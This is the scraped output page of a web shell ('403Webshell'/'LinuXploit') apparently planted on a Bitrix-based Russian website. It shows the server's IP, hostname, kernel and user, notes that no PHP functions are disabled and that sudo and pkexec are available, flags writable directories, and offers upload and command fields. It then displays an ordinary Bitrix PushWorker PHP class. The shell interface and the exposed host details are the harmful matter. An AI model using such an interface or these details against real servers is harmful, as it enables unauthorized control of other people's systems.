403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/bizproc/lib/integration/push/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/bizproc/lib/integration/push/pushworker.php
<?php

namespace Bitrix\Bizproc\Integration\Push;

use Bitrix\Main;
use Bitrix\Main\Engine\CurrentUser;
use Bitrix\Main\Loader;
use Bitrix\Pull;

final class PushWorker
{
	private bool $canUse;
	private static $setJob = false;
	private static $queue = [];

	public function __construct()
	{
		$this->canUse = Loader::includeModule('pull');
	}

	public function subscribe(int $userId, string $command): void
	{
		if ($this->canUse)
		{
			\CPullWatch::Add($userId, $command);
		}
	}

	public function send(string $command, array $params, array $userIds = []): void
	{
		if (empty($userIds))
		{
			$userIds = [CurrentUser::get()?->getId() ?? 0];
		}

		if ($this->canUse)
		{
			Pull\Event::add(
				$userIds,
				[
					'module_id' => 'bizproc',
					'command' => $command,
					'params' => $params,
				]
			);
		}
	}

	public function sendLast(string $tag, string $command, array $params, array $userIds = [])
	{
		if ($this->canUse)
		{
			self::$queue[$tag] = [$command, $params, $userIds];
			$this->setBackgroundJob();
		}
	}

	private function setBackgroundJob()
	{
		if (!self::$setJob)
		{
			Main\Application::getInstance()->addBackgroundJob(
				\Closure::fromCallable([__CLASS__, 'doBackgroundJob']),
				[],
				Main\Application::JOB_PRIORITY_LOW - 10
			);
			self::$setJob = true;
		}
	}

	private static function doBackgroundJob()
	{
		$push = new self();
		foreach (self::$queue as [$command, $params, $userIds])
		{
			$push->send($command, $params, $userIds);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit